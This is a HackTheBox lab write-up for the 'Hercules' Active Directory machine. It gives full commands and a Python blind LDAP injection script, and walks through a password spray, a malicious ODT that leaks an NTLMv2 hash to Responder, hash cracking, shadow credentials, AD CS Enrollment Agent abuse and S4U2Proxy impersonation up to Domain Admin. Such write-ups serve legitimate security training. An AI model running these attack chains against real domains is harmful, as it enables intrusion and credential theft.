Overview
Hercules is a hard-rated HackTheBox Active Directory machine. The attack path chains together several real-world techniques: blind LDAP injection against a web login portal, NTLM hash capture via a malicious document, shadow credentials abuse for lateral movement, and Active Directory Certificate Services (AD CS) exploitation to escalate to Domain Admin.
Reconnaissance
Starting with a full TCP port scan to map out the attack surface:
nmap -sCV -Pn -p- 10.129.157.200
The results confirm a Windows Domain Controller running the full AD stack - DNS, Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and WinRM over SSL (5986). The SSL certificate leaks the hostname: dc.hercules.htb, and the domain is hercules.htb.
Add both to /etc/hosts:
echo "10.129.157.200 hercules.htb dc.hercules.htb" >> /etc/hosts
User Enumeration
With a domain name confirmed, the next step is building a valid user list using kerbrute. Kerberos pre-authentication errors are distinct from "user does not exist" errors, making kerbrute a reliable way to enumerate accounts without triggering lockouts.
A custom wordlist is generated by appending a single letter to common first names (e.g., martin.g, ashley.b):
awk '/^[[:space:]]*$/ {next} { gsub(/^[ ]+|[ ]+$/, ""); for(i=97; i<=122; i++) printf "%s.%c ", $0, i }' /usr/share/seclists/Usernames/Names/names.txt > names.withletters.txt kerbrute userenum --dc 10.129.157.200 -d hercules.htb names.withletters.txt
After roughly 19 minutes against 264,000 candidates, kerbrute returns 33 valid usernames including ken.w, natalie.a, johnathan.j, bob.w, and others.
LDAP Injection - Extracting Credentials from AD Descriptions
The web portal at https://hercules.htb/login uses LDAP authentication. Testing with a wildcard username (*) returns a valid "wrong password" response, confirming the backend queries Active Directory directly - and that input is not sanitised.
The exploit uses blind LDAP injection to extract values character by character from the description attribute of AD user accounts. Administrators sometimes store temporary passwords there.
The injection payload breaks out of the username filter and appends a second condition:
johnathan.j*)(description=c*
This translates to an LDAP query that matches if johnathan.j exists AND the description starts with c. Because the login form double-URL-encodes input, the payload is encoded twice before sending:
encoded_payload = ''.join(f'%{byte:02X}' for byte in payload.encode('utf-8'))
A Python script iterates through the character set for each position, watching for the "Login attempt failed" response (which means the user was found but the password was wrong - a truthy signal):
def enumerate_description(username): description = "" for position in range(50): found = False for char in string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$_*-.": if test_ldap_injection(username, description + char): description += char found = True break if not found: break return description
Running this against all 33 enumerated users, johnathan.j has a description field. Extracting it character by character reveals:
johnathan.j => change*th1s_p@ssw()rd!!
Password Spray
With a candidate password in hand, spray it across all known users using CrackMapExec over LDAP with Kerberos authentication:
crackmapexec ldap 10.129.157.200 -u users.txt -p 'change*th1s_p@ssw()rd!!' --kerberos --continue-on-success
One hit: ken.w authenticates successfully. The description was a shared default password that at least one user never changed.
NTLM Relay - Capturing natalie.a
The web portal allows authenticated users to submit file-based reports. This is exploitable: a malicious ODT file can embed a remote UNC path that triggers an automatic SMB connection when opened by the server.
Generate the malicious document with Metasploit:
use auxiliary/fileformat/odt_badodt set LHOST tun0 run
Start Responder on the VPN interface to capture the incoming authentication:
sudo responder -I tun0
Upload bad.odt through the portal. When the server processes it, it reaches out to our machine over SMB and Responder captures the NTLMv2 hash for HERCULES\natalie.a.
Crack the hash with hashcat using the rockyou wordlist:
hashcat -m 5600 -a 0 hash.txt rockyou.txt
Result in under 1 second on an RTX 5080:
natalie.a : Prettyprincess123!
Lateral Movement via Shadow Credentials
With natalie.a's credentials, request a Kerberos TGT:
getTGT.py hercules.htb/natalie.a:'Prettyprincess123!' -dc-ip 10.129.157.200 export KRB5CCNAME=natalie.a.ccache
Shadow Credentials is a technique that abuses write access to a target account's msDS-KeyCredentialLink attribute. Certipy writes a certificate credential to bob.w's account, authenticates as him using that certificate, and retrieves his NT hash - all without knowing his password:
certipy shadow auto -u natalie.a@hercules.htb -k -dc-host DC.hercules.htb -account bob.w
[*] NT hash for 'bob.w': 8a65c74e8f0073babbfac6725c66cc3f
Privilege Escalation - OU Manipulation and WinRM
Getting a TGT for bob.w with his hash and connecting via PowerView reveals AD structure. bob.w has write access over certain Organisational Units.
Moving stephen.m into the Web Department OU places him under a GPO that grants additional privileges:
Set-DomainObjectDN -Identity stephen.m -DestinationDN 'OU=Web Department,OU=DC=HERCULES,DC=hercules,DC=htb'
Shadow credentials on stephen.m yields his NT hash: 9aaaedcb19e612216a2dac9badb3c210.
With stephen.m's context, use bloodyAD to reset the Auditor account password:
bloodyAD --host DC.hercules.htb -d hercules.htb -u stephen.m -k set password Auditor 'Prettyprincess123!'
Obtain a TGT for Auditor and connect via WinRM over SSL:
getTGT.py -dc-ip 10.129.157.200 hercules.htb/Auditor:'Prettyprincess123!' export KRB5CCNAME=Auditor.ccache python3 evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb
User flag captured from C:\Users\auditor\Desktop\user.txt.
Root - AD CS Enrollment Agent Abuse
From the Auditor shell, grant the Auditor account GenericAll over the Forest Migration OU - an OU containing dormant privileged accounts:
dsacls "OU=Forest Migration,OU=DC=HERCULES,DC=hercules,DC=htb" /G "HERCULESAUDITOR:GA" /I:T
Enable and reset the password for fernando.r, who has Enrollment Agent certificate template access:
Enable-ADAccount -Identity "CN=Fernando Rodriguez,OU=Forest Migration,..." Set-ADAccountPassword -Identity "fernando.r" -NewPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Reset
Request an Enrollment Agent certificate as fernando.r:
certipy req -u fernando.r@hercules.htb -k -no-pass -dc-host dc.hercules.htb -ca 'CA-HERCULES' -template EnrollmentAgent -application-policies "Certificate Request Agent"
Use that certificate to request a User template certificate on behalf of ashley.b (a privileged account):
certipy req -u fernando.r@hercules.htb -k -no-pass -dc-host dc.hercules.htb -ca 'CA-HERCULES' -template User -pfx fernando.r.pfx -on-behalf-of "hercules\ashley.b" -dcom
Authenticate as ashley.b using her certificate to retrieve her NT hash, then use her session to enable iis_administrator and reset iis_webserver$'s password.
Finally, exploit iis_webserver$'s S4U2Proxy delegation rights. After synchronising the account's session key:
impacket-getST.py -u2u -impersonate Administrator -spn cifs/dc.hercules.htb -k -no-pass 'hercules.htb/iis_webserver$' export KRB5CCNAME='Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache' python3 evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb
Shell lands as HERCULES\Administrator.
PS C:\Users\Administrator\Documents> type C:\Users\Admin\Desktop\root.txt
Root flag captured. Domain compromised.
Attack Chain Summary
| Step | Technique | Result |
|---|---|---|
| 1 | Kerbrute username enum | 33 valid AD accounts |
| 2 | Blind LDAP injection | Password from Description attribute |
| 3 | Password spray | Access as ken.w |
| 4 | Malicious ODT + Responder | NTLMv2 hash for natalie.a |
| 5 | Shadow Credentials (certipy) | NT hash for bob.w |
| 6 | OU manipulation + Shadow Credentials | NT hash for stephen.m |
| 7 | bloodyAD password reset | WinRM as Auditor |
| 8 | AD CS Enrollment Agent abuse | Certificate on behalf of ashley.b |
| 9 | S4U2Proxy delegation | Domain Admin |